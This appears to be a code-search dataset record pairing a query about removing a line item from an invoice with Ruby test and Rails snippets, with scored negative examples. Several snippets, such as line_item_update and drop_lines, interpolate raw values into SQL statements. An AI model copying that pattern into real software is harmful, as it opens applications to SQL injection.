"def line_item_update(h)\n\t\trows = @database.execute <<-SQL\n\t\tUPDATE invoice_lines\n\t\tSET\n\t\t\t\t_order = '#{h['order']}'\n\t\t\t, invoice_id = '#{h['invoice_id']}'\n\t\t\t, name = '#{h['name']}'\n\t\t\t, matter = '#{h['matter']}'\n\t\t\t, description = '#{h['description']}'\n\t\t\t, amount = '#{h['amount']}'\n\t\t\t, first_expense_id = '#{h['first_expense_id']}'\n\t\t\t, first_time_entry_id = '#{h['first_time_entry_id']}'\n\t\t\t, line_item_date = '#{h['line_item_date']}'\n\t\t\t, person = '#{h['person']}'\n\t\t\t, unit_cost = '#{h['unit_cost']}'\n\t\t\t, quantity = '#{h['quantity']}'\n\t\t\t, type = '#{h['type']}'\n\t\t\t, updated = '#{h['updated']}'\n\t\tWHERE (number = '#{h['number']}' AND line_id = '#{h['line_id']}');\n\t\tSQL\n\tend",
"def delete_line_item(table)\r\n if table_exists?(table)\r\n print_table(table)\r\n puts \"please choose the id number of the line you'd like to delete.\"\r\n id = get_valid_id(table)\r\n delete = (\"DELETE FROM #{table} WHERE id = #{id}\")\r\n @db.execute(delete)\r\n end\r\n end",
"def test_get_line_item_quantity\n assert_equal @order.get_line_item_quantity(@order.order_line_items.find_by_name(items(:towel).name).id), order_line_items(:santa_next_christmas_order_item_6).quantity\n\n # Create a new order and put just one line item.\n new_order_line_item = OrderLineItem.for_product(items(:small_stuff))\n new_order = Order.new\n new_order.order_line_items << new_order_line_item\n assert new_order.save\n \n # Search for an existent line item of ANOTHER order.\n assert_equal @order.get_line_item_quantity(new_order.order_line_items.find_by_name(items(:small_stuff).name).id), 0\n end",
"def destroy\n @line_item.destroy\n destroy_line_item_response\n end",
"def test_line_amount_calculation\n credit_note = create_test_credit_note\n line_item = credit_note.line_items.first\n\n # Make sure that everything adds up to begin with.\n expected_amount = line_item.quantity * line_item.unit_amount\n assert_equal(expected_amount, line_item.line_amount)\n\n # Change the line_amount and check that it doesn't modify anything.\n line_item.line_amount = expected_amount * 10\n assert_equal(expected_amount, line_item.line_amount)\n\n # Change the quantity and check that the line_amount has been updated.\n quantity = line_item.quantity + 2\n line_item.quantity = quantity\n assert_not_equal(expected_amount, line_item.line_amount)\n assert_equal(quantity * line_item.unit_amount, line_item.line_amount)\n end",
"def remove_items_from_cart\n line_items.each { |i| i.cart = nil }\n end",
"def destroy_or_save(line_item, line_item_quantity)\n line_item_quantity.zero? ? line_item.destroy! : line_item.save!\n end",
"def clear_lines\n @items.each { |item| @scene.removeItem item }\n @items.clear\n end",
"def test_discount_per_invoice\r\n\r\n\r\n# puts \"Customer.find_by_name('heavy_user_customer_1'): #{Customer.find_by_name('heavy_user_customer_1').inspect}\"\r\n\r\n # Add an Invoice\r\n assert_difference 'Invoice.count' do\r\n #Create new Invoice and fill it up\r\n @user.creates_new_invoice\r\n fill_invoice_for @user \r\n \r\n #Customer Info \r\n current_customer = customers(\"heavy_user_customer_1\".to_sym)\r\n @user.enter_new_customer(:name => current_customer.name) \r\n \r\n # quantity and price keep the same value so calculating subtotal is easy \r\n quantity = 10 \r\n price = 5.00\r\n discount = 50.00\r\n discount_percent = 10.00\r\n \t \r\n #Add line items\r\n add_line_items(quantity, price)\r\n\t \r\n # Discount and Type\r\n @user.populate(@user.text_field(:id, \"invoice_discount_value\"),discount.to_s)\r\n @user.select_list(:id, \"invoice_discount_type\").option(:text, \"amount\").select\r\n \r\n # Submit and verify \r\n assert_difference 'LineItem.count', @number_of_line_items do\r\n @user.submits \r\n end\r\n \r\n # Edit Invoice\r\n id_last_invoice = Invoice.find(:first, :order => \"id DESC\").id\r\n @user.edits_invoice(id_last_invoice)\r\n \r\n # Verify SubTotal, Discount and Total \r\n subTotal = quantity * price * @number_of_line_items\r\n total = subTotal - discount\r\n \r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n \r\n # Changing discount type\r\n @user.expects_ajax(2) do\r\n @user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount_percent.to_s)\r\n @user.select_list(:name, 'invoice[discount_type]').select \"percent\"\r\n end\r\n\r\n @user.submits\r\n\r\n # Edit Invoice\r\n id_last_invoice = Invoice.find(:first, :order => \"id DESC\").id\r\n @user.edits_invoice(id_last_invoice)\r\n \r\n # Verify SubTotal, Discount and Total \r\n discount = discount_percent * subTotal / 100.00\r\n total = subTotal - discount\r\n \r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n \r\n end \r\n end",
"def remove\n rows = self.open_import_file\n field = rows.first\n rows.each do |row|\n item_identifier = row['item_identifier'].to_s.strip\n if item = Item.where(:item_identifier => item_identifier).first\n item.destroy\n end\n end\n end",
"def set_line_item\n @line_item = order.line_items.find(params[:id])\n end",
"def test_credit_note_sub_total_calculation3\n credit_note = create_test_credit_note\n line_item = credit_note.line_items.first\n\n # Make sure that everything adds up to begin with.\n expected_total = credit_note.sub_total + credit_note.total_tax\n assert_equal(expected_total, credit_note.total)\n\n # Change the quantity of the first line item and make sure that\n # everything still continues to add up.\n line_item.quantity = line_item.quantity + 5\n assert_not_equal(expected_total, credit_note.total)\n expected_total = credit_note.sub_total + credit_note.total_tax\n assert_equal(expected_total, credit_note.total)\n end",
"def issue_refer_line_items\n line_items.each do |line|\n logger.debug \"==@@@@==SalesOrder refer_line_id== #{line.refer_line_id}\"\n po_line = LineItem.find(line.refer_line_id)\n po_line.update_attribute(:quantity_issued, po_line.quantity_issued + line.quantity)\n\n line.update_attribute(:cart_id, nil)\n end\n end",
"def test_get_line_item_total\n assert_equal @order.get_line_item_total(@order.order_line_items.find_by_name(items(:towel).name).id), order_line_items(:santa_next_christmas_order_item_6).total\n\n # Create a new order and put just one line item.\n new_order_line_item = OrderLineItem.for_product(items(:small_stuff))\n new_order = Order.new\n new_order.order_line_items << new_order_line_item\n assert new_order.save\n \n # Search for an existent line item of ANOTHER order.\n assert_equal @order.get_line_item_total(new_order.order_line_items.find_by_name(items(:small_stuff).name).id), 0\n end",
"def unpaid_line_items\n @unpaid_line_items ||= line_items.find_all_by_paid(false)\n end",
"def delete_sales_line\r\n sales_line = ERP::SalesLine.find( params[:id], :include => \"sales_order\" )\r\n @store_user.my_account_log(sales_line,\"Delete Sales Line: #{sales_line.invent_trans_id} (#{sales_line.item_id})\")\r\n if @customer.open_orders.collect{|order| order.id}.include?( sales_line.sales_order.id ) && sales_line.modifiable?\r\n sales_line.destroy\r\n render :text => \"Deleted...\"\r\n else\r\n render :text => \"Failed to delete sales line (ID=#{params[:id]})\", :status => 500\r\n end\r\n end",
"def test_order_line_item_quantity_is_postive\n a_towel = items(:towel)\n an_order_line_item = OrderLineItem.for_product(a_towel)\n an_order_line_item.quantity = -1;\n assert_raise(ActiveRecord::RecordInvalid) { \n an_order_line_item.save!\n }\n an_order_line_item.quantity = 0\n assert_raise(ActiveRecord::RecordInvalid) {\n an_order_line_item.save!\n }\n an_order_line_item.quantity = 1\n assert_nothing_raised {\n an_order_line_item.save!\n }\n end",
"def delete\n LineItem.delete_for_order(order_id)\n CreditCardTransaction.remove_references_to_order(order_id)\n super\n end",
"def test_items\n assert_equal @order.items, @order.order_line_items\n end",
"def destroy\n @line_item = @current_cart.line_items.where(:id => params[:id]).first\n unless @line_item.nil?\n @line_item.destroy\n end\n end",
"def test_line_items_auth \n c = customers(:bob)\n assert_equal(line_items(:bob_line_item), c.find_line_item(1))\n assert_nil(c.find_line_item(2))\n assert_nil(c.find_line_item(100000))\n end",
"def validate_line_items\n \n end",
"def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end",
"def update\n @pagetitle = \"Edit invoice\"\n @action_txt = \"Update\"\n \n items = params[:items].split(\",\")\n \n @invoice = Factura.find(params[:id])\n @company = @invoice.company\n @payments = @company.get_payments() \n @medios = @company.get_medios()\n\n if(params[:ac_customer] and params[:ac_customer] != \"\")\n @ac_customer = params[:ac_customer]\n else\n @ac_customer = @invoice.customer.name\n end\n \n @products_lines = @invoice.products_lines\n \n @locations = @company.get_locations()\n @divisions = @company.get_divisions()\n \n @invoice[:subtotal] = @invoice.get_subtotal(items)\n @invoice[:tax] = @invoice.get_tax(items, @invoice[:medio_id])\n @invoice[:total] = @invoice[:subtotal] + @invoice[:tax]\n\n respond_to do |format|\n if @invoice.update_attributes(factura_params)\n # Create products for kit\n @invoice.delete_products()\n @invoice.add_products(items)\n @invoice.correlativo\n # Check if we gotta process the invoice\n @invoice.process()\n \n format.html { redirect_to(@invoice, :notice => 'Invoice was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invoice.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_build_line_items_from_hash\n # Create a new order and put just one line item.\n setup_new_order()\n @o.order_line_items << @li\n \n # Now try to feed it with others.\n @o.line_items = {\n items(:red_lightsaber).id => {'quantity' => 2},\n items(:towel).id => {'quantity' => 1},\n items(:blue_lightsaber).id => {'quantity' => \"\"}\n }\n \n assert_equal @o.items.size, 2\n end",
"def drop_lines(array)\n\t\tarray.each do |el|\n\t\t\tdbrows = @database.query <<-SQL\n\t\t\t\tDELETE FROM invoice_lines WHERE invoice_id = '#{el}';\n\t\t\tSQL\n\t\tend\n\tend",
"def down\n # Find, then split, items with quantity > 1 into multiple items.\n LineItem.where(\"quantity > 1\").each do |line_item|\n\n # Add individual items as new line items for this cart and product,\n # each with a quantity of 1\n line_item.quantity.times do\n LineItem.create cart_id: line_item.cart_id,\n product_id: line_item.product_id, quantity: 1\n end # End of: line_item.quantity.times do\n\n # Delete the line item, i.e., the original item.\n line_item.destroy\n end # End of: LineItem.where(\"quantity>1\").each do |line_item|\n\n end",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def ensure_not_referenced_by_any_line_item #in this case before destroy a row in the database\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Itens present')\n return false\n end\n end",
"def compact_line_items\n return params unless params[:purchase].key?(:line_item_attributes)\n\n params[:purchase][:line_items_attributes].delete_if { |_row, data| data[\"quantity\"].blank? && data[\"item_id\"].blank? }\n params\n end",
"def generate_invoice_items(tariff, invoice, bill, cf, user_id)\n # Should prorate\n should_prorate, prev_reading_tariff = should_prorate?(tariff)\n if should_prorate\n # Must prorate\n prorate_consumption_and_apply_tariffs('I', tariff, prev_reading_tariff, invoice, bill, cf, user_id)\n else\n # Current tariff only\n save_invoice_items(tariff, invoice, bill, cf, user_id)\n end # should_prorate\n end",
"def teardown\n\t\t@invoice = nil\n\tend",
"def destroy\n @invoice_adjustment_line = InvoiceAdjustmentLine.find(params[:id])\n @invoice_adjustment_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoice_adjustment_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoice_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url, notice: 'Invoice line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def add_line_items_from(cart)\n\t\tcart.line_items.each do |item| \n\t\t\titem.cart_id = nil \n\t\t\tline_items << item \n\t\tend\n\tend",
"def update\n ActiveRecord::Base.transaction do\n @invoice.update invoice_params\n @invoice.invoice_details.destroy_all\n Item.all.each do |item|\n if params[\"amount_#{item.id}\"].to_i > 0\n InvoiceDetail.create!(invoice: @invoice, item: item, price: item.price,\n amount: params[\"amount_#{item.id}\"].to_i)\n end\n end\n end\n @invoice.reload\n respond_to do |format|\n if @invoice.calculate_total!\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { render :show, status: :ok, location: @invoice }\n else\n format.html { render :edit }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n if params[:line_item_id]\n @cart.line_items.find(params[:line_item_id]).destroy\n else\n @cart.destroy\n end\n end",
"def update\n @order.line_items.destroy_all\n @order.update(cost: 0)\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.create(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n end\n end",
"def generate_pre_invoice_items(tariff, pre_invoice, pre_bill, cf, user_id)\n # Should prorate\n should_prorate, prev_reading_tariff = should_prorate?(tariff)\n if should_prorate\n # Must prorate\n prorate_consumption_and_apply_tariffs('P', tariff, prev_reading_tariff, pre_invoice, pre_bill, cf, user_id)\n else\n # Current tariff only\n save_pre_invoice_items(tariff, pre_invoice, pre_bill, cf, user_id)\n end # should_prorate\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @order = @line_item.order\n @line_item.destroy\n \n @order.total = @order.line_items.sum(:line_total)\n @order.update_attribute(:total, @order.total)\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end",
"def invoice_line_updateinsert(recordhash)\n\t\tif(invoice_recordexists(recordhash)) then\n\t\t\tline_item_update(recordhash)\n\t\telse\n\t\t\tline_item_insert(recordhash)\n\t\tend\n\tend",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n\t item.cart_id = nil\n \t line_items << item\n end\n end",
"def set_line_item\n @line_items = LineItem.find(params[:id])\n end",
"def checkout\n line_items = LineItem.all\n\n @order = Order.create(user_id: current_user.id, subtotal: 0)\n\n line_items.each do |l_item|\n l_item.product.update(quantity: (l_item.product.quantity - l_item.quantity))\n @order.order_items[l_item.product_id] = l_item.quantity\n @order.subtotal += l_item.line_item_total\n end\n @order.save\n\n @order.update(sales_tax: (@order.subtotal * 0.08))\n @order.update(grand_total: (@order.sales_tax + @order.subtotal))\n\n line_items.destroy_all\n end",
"def remove_item(index)\n new_items = items\n\n # TODO cleanse. this is shameful\n item = load_item_at(index)\n item.reverse_appointment! if item.is_a?(Proposal)\n\n new_items.delete_at(index)\n update_attribute :items, new_items\n end",
"def compact_line_items\n return params unless params[:purchase].has_key?(:line_item_attributes)\n params[:purchase][:line_items_attributes].delete_if { |row, data| data[\"quantity\"].blank? && data[\"item_id\"].blank? }\n params\n end",
"def deduct_quantity\n line_items.each do |i|\n i.product.current_stock -= i.quantity\n i.product.save\n end\n end",
"def test_should_create_order_line_item\n a_towel = items(:towel)\n an_order_line_item = OrderLineItem.for_product(a_towel)\n \n assert_equal an_order_line_item.item, a_towel\n assert_equal an_order_line_item.name, a_towel.name\n assert_equal an_order_line_item.unit_price, a_towel.price\n # When created the quantity should be 1.\n assert_equal an_order_line_item.quantity, 1\n \n assert_equal an_order_line_item.total, a_towel.price * 1\n assert_equal an_order_line_item.product_id, a_towel.id\n assert_equal an_order_line_item.product, a_towel\n assert_equal an_order_line_item.code, a_towel.code\n assert_equal an_order_line_item.code, a_towel.code\n assert_equal an_order_line_item.name, a_towel.name\n \n assert an_order_line_item.save\n end",
"def test_delete_invoice_resource\n resource = :invoice\n\n x = Billomat.res(resource).last\n id = x.id\n\n client_id = x.client_id\n\n x.destroy\n\n assert_raise ActiveResource::ResourceNotFound do\n Billomat.res(resource).find(id)\n end\n\n # Clean up the client created in test_create_invoice_resource\n Billomat.res(:client).find(client_id).destroy\n end",
"def update\n @receipt = Receipt.find(params[:id])\n params[:receipt][:receipt_lines_attributes] = @receipt.process_removed_lines(params[:receipt][:receipt_lines_attributes])\n\n respond_to do |format|\n if @receipt.update_attributes(receipt_params)\n deposit_check = DepositCheck.find_by_receipt_id(@receipt.id)\n @receipt.update_attributes(:deposit_check_id => deposit_check.id) if deposit_check\n format.html { redirect_to @receipt, notice: 'Receipt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = @order.line_items.find(params[:id])\n\n if @line_item.update(line_item_params)\n head :no_content\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @invoice_line_item.update(invoice_line_item_params)\n format.html { redirect_to @invoice_line_item, notice: 'Invoice line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @invoice_line_item }\n else\n format.html { render :edit }\n format.json { render json: @invoice_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @line_item = line_items.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n end\n end",
"def invoice_params\n invoice_params = params.require(:invoice).permit(:date, :time, :tax_rate, :customer_id, :invoice_style_id,\n line_items_attributes: [:id, :product_id, :quantity])\n line_items_attributes = invoice_params['line_items_attributes']\n if line_items_attributes\n line_items_attributes.values.each do |line_item_attr|\n line_item_attr['_destroy'] = '1' if line_item_attr.length == 1 and line_item_attr.keys.first == 'id'\n end\n end\n invoice_params\n end",
"def remove_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\tline_item = Item.where(sale_id: params[:sale_id], product_id: params[:product_id]).first\n\t\tline_item.quantity -= 1\n\n\t\tif line_item.quantity == 0\n\t\t\tline_item.destroy\n\t\telse\n\t\t\tline_item.save\n\t\t\tupdate_line_item_totals(line_item)\n\t\tend\n\n\t\t# Llama método que devuelve cantidad al stock\n\t\treturn_item_to_stock(params[:product_id])\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def invoice # rubocop:disable all\n @province = Province.find(params[:province])\n @customer = Customer.find(session[:customer_id])\n customer_order = @customer.orders.build\n customer_order.status = 'outstanding'\n customer_order.pst_rate = @customer.province.pst\n customer_order.gst_rate = @customer.province.gst\n customer_order.hst_rate = @customer.province.hst\n customer_order.address = params[:address]\n customer_order.city = params[:city]\n customer_order.province = params[:province]\n customer_order.country_name = params[:country_name]\n customer_order.postal_code = params[:postal_code]\n customer_order.save\n\n session[:order_id] = customer_order.id\n session[:product_id].each do |product_id|\n product = Product.find(product_id)\n customer_item = customer_order.lineItems.build\n customer_item.order_id = customer_order.id\n customer_item.price = product.price\n customer_item.quantity = params[\"quantity_#{product.id}\"]\n customer_item.product_id = product.id\n customer_item.save\n end\n @line_items = LineItem.where('order_id = ?', session[:order_id])\n session[:order_complete] = true\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def test_invoice_discount_changed_a\r\n # Add an Invoice\r\n assert_difference 'Invoice.count' do\r\n \r\n #Create new Invoice and fill it up\r\n @user.creates_new_invoice\r\n fill_invoice_for @user \r\n \r\n #Customer Info \r\n current_customer = customers(\"heavy_user_customer_1\".to_sym)\r\n @user.enter_new_customer(\r\n :name => current_customer.name\r\n ) \r\n \r\n # quantity and price keep the same value so calculating subtotal is easy \r\n quantity = 10 \r\n price = 5.00\r\n discount = 50.00\r\n discount_percent = 10.00\r\n \t \r\n #Add line items\r\n add_line_items(quantity, price)\r\n\t \r\n # Discount and Type\r\n\r\n @user.populate(@user.text_field(:id, \"invoice_discount_value\"), discount.to_s)\r\n @user.select_list(:id, \"invoice_discount_type\").option(:text, \"amount\").select\r\n\r\n @user.b.wait\r\n sleep 1\r\n # Verify SubTotal, Discount and Total \r\n subTotal = quantity * price * @number_of_line_items\r\n total = subTotal - discount\r\n \r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\t \r\n # Changing discount type\r\n\t @user.expects_ajax(2) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount_percent.to_s)\r\n \t\t@user.select_list(:name, 'invoice[discount_type]').select \"percent\"\r\n\t end\r\n\r\n # Verify SubTotal, Discount and Total \r\n discount = discount_percent * subTotal / 100.00\r\n total = subTotal - discount\r\n \r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\t \r\n\t # Changing discount and type and verify\r\n\t # Change to 200 discount Amount\r\n\t discount = 200.00\r\n\t @user.expects_ajax(2) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount.to_s)\r\n @user.select_list(:name, 'invoice[discount_type]').select \"amount\"\r\n\t end\r\n\t \r\n\t # Verify SubTotal, Discount and Total \r\n\t total = subTotal - discount\r\n\r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\r\n\t # Changing discount and type and verify\r\n\t # Change to 100% discount\r\n\t discount_percent = 100.00\r\n\t @user.expects_ajax(2) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount_percent.to_s)\r\n \t\t@user.select_list(:name, 'invoice[discount_type]').select \"percent\"\r\n\t end\r\n\t \r\n\t # Verify SubTotal, Discount and Total \r\n\t discount = discount_percent * subTotal / 100.00\r\n\t total = subTotal - discount\r\n\r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\r\n\t # Changing discount and type and verify\r\n\t # Change to amount discount equal to subtotal so total is 0\r\n\t @user.expects_ajax(2) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), subTotal.to_s)\r\n @user.select_list(:name, 'invoice[discount_type]').select \"amount\"\r\n\t end\r\n\r\n\t # Verify SubTotal, Discount and Total \r\n\t discount = subTotal\r\n\t total = subTotal - discount\r\n\r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\r\n\t # Changing discount and type and verify\r\n\t # Set discount amount to 0 without changing type\r\n\t discount = 0.00\r\n\t @user.expects_ajax(1) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount.to_s)\r\n\t end\r\n\r\n\t # Verify SubTotal, Discount and Total \r\n\t total = subTotal - discount\r\n\r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n \r\n # Submit and verify \r\n assert_difference 'LineItem.count', @number_of_line_items do\r\n @user.submits \r\n end\r\n end\r\n \r\n end",
"def test_item_association\n assert_equal @order.order_line_items, @order.items\n end",
"def update\n @invoice_line_item = InvoiceLineItem.find(params[:id])\n\n respond_to do |format|\n if @invoice_line_item.update_attributes(params.require(:invoice_line_item).permit(:amount, :description, :invoice_id, :line_item_purpose_id, :service_visit_id, :vehicle_id))\n format.html { redirect_to invoice_line_items_url,\n notice: 'InvoiceLineItem was successfully updated.' }\n format.json { head :no_content }\n else\n prepFormVariables\n format.html { render action: \"edit\" }\n format.json { render json: @invoice_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add(new_line_items)\n new_line_items = Array.wrap(new_line_items).reject{ |li| li.product.supplier_id.nil? || li.product.supplier_id != self.supplier_id }\n new_line_items.each do |new_line_item|\n if line_item = self.drop_ship_line_items.find_by_line_item_id(new_line_item.id)\n else\n self.drop_ship_line_items.create({line_item_id: new_line_item.id}, without_protection: true)\n end\n end\n # TODO: remove any old line items?\n self.save ? self : nil\n end",
"def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend",
"def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend",
"def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend"
] |
[
"0.83617604",
"0.79391605",
"0.7673628",
"0.76541674",
"0.70887643",
"0.6625306",
"0.6349206",
"0.629921",
"0.6234087",
"0.62202394",
"0.6171657",
"0.6151414",
"0.61462253",
"0.6124051",
"0.60942584",
"0.60929424",
"0.60852313",
"0.6070845",
"0.60570127",
"0.60429543",
"0.60307175",
"0.6022202",
"0.6011696",
"0.59611946",
"0.5932665",
"0.5930922",
"0.5923564",
"0.5898109",
"0.58910185",
"0.5890353",
"0.5861999",
"0.5829542",
"0.5822876",
"0.5796385",
"0.57890385",
"0.57848173",
"0.5780004",
"0.57790405",
"0.57642287",
"0.5757901",
"0.5749619",
"0.5745809",
"0.57393444",
"0.5730103",
"0.5725874",
"0.5725524",
"0.57202303",
"0.5717587",
"0.57142854",
"0.5714065",
"0.5708742",
"0.5702584",
"0.5694638",
"0.56749845",
"0.56705546",
"0.5657965",
"0.5641414",
"0.5640538",
"0.56319755",
"0.561533",
"0.56043684",
"0.5601548",
"0.5595223",
"0.55923885",
"0.55855936",
"0.55854815",
"0.5584033",
"0.5578755",
"0.55780095",
"0.5566309",
"0.5566283",
"0.556392",
"0.5562735",
"0.5559555",
"0.5558795",
"0.5551859",
"0.55459434",
"0.5544036",
"0.5533452",
"0.5529982",
"0.5527437",
"0.55037475",
"0.5499875",
"0.54934424",
"0.5491473",
"0.5485448",
"0.5485448",
"0.5485448",
"0.5485448",
"0.5485448",
"0.5485448",
"0.5485448",
"0.5485448",
"0.5483678",
"0.5480898",
"0.54654956",
"0.5462349",
"0.54615283",
"0.54615283",
"0.54615283"
] |
0.84499925
|
0
|
Remove second line item from existing invoice
|
def test_should_remove_second_line_item_from_invoice
assert_no_difference 'Invoice.count' do
assert_difference 'LineItem.count', -1 do
@basic_user.edits_invoice(invoices(:invoice_with_line_items).id)
#get first row in the table.
trows = @basic_user.line_items_rows
assert_equal 2, trows.length
tr2 = trows[::WatirBrowser.item_index(2)]
assert tr2.exists?
@basic_user.populate(tr2.text_field(:name, "invoice[line_items_attributes][][description]"),"Removed Description two")
#remove the second line item
tr2.link(:name, 'remove').click
@basic_user.submits
end
end
invoice = Invoice.find(invoices(:invoice_with_line_items).id)
assert_equal 1, invoice.line_items.count
assert_equal line_items(:line_item_one).description, invoice.line_items[0].description
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_should_remove_first_line_item_from_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', -1 do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr1 = trows[::WatirBrowser.item_index(1)]\r\n assert tr1.exists?\r\n @basic_user.populate(tr1.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Removed Description one\")\r\n\r\n #remove the first line item\r\n tr1.link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal line_items(:line_item_two).description, invoice.line_items[0].description\r\n end",
"def remove_line_item(line_item)\n unless self.ordered?\n line_item.destroy\n end\n end",
"def remove_lineitem\n line_item = @sale.line_items.find_by_id(params[:line_item])\n respond_to do |format|\n if line_item.present?\n line_item.item.stock_amount = line_item.item.stock_amount + line_item.quantity\n line_item.item.save\n line_item.destroy\n end\n update_totals\n\n format.js { ajax_refresh }\n end\n end",
"def purge!\n unless self.ordered?\n self.line_items.each do |line_item|\n remove_line_item(line_item) if line_item.invalid?\n end\n end\n end",
"def decrement_line_item_quantity(line_item_id)\n current_item = line_items.find(line_item_id)\n if current_item.quantity > 1\n current_item.quantity -= 1\n else\n current_item.destroy\n end\n current_item\n end",
"def remove_item(item)\n order_item = self.order_items.where(item: item).order('price asc').first\n if order_item.is_a? OrderItem\n order_item.remove 1\n recalculate!\n end\n end",
"def unrefulfill_line_item(line_item_id)\n li = Spree::LineItem.find(line_item_id)\n li.refulfill = nil\n li.save\n end",
"def remove_items_from_cart\n line_items.each { |i| i.cart = nil }\n end",
"def remove_item(index)\n new_items = items\n\n # TODO cleanse. this is shameful\n item = load_item_at(index)\n item.reverse_appointment! if item.is_a?(Proposal)\n\n new_items.delete_at(index)\n update_attribute :items, new_items\n end",
"def remove_cart_line_item(a_cart_line_item, options={})\n deleted_line_item = nil\n item_to_remove = find(:first, a_cart_line_item)\n deleted_line_item = @line_items.delete(item_to_remove) if item_to_remove\n deleted_line_item\n end",
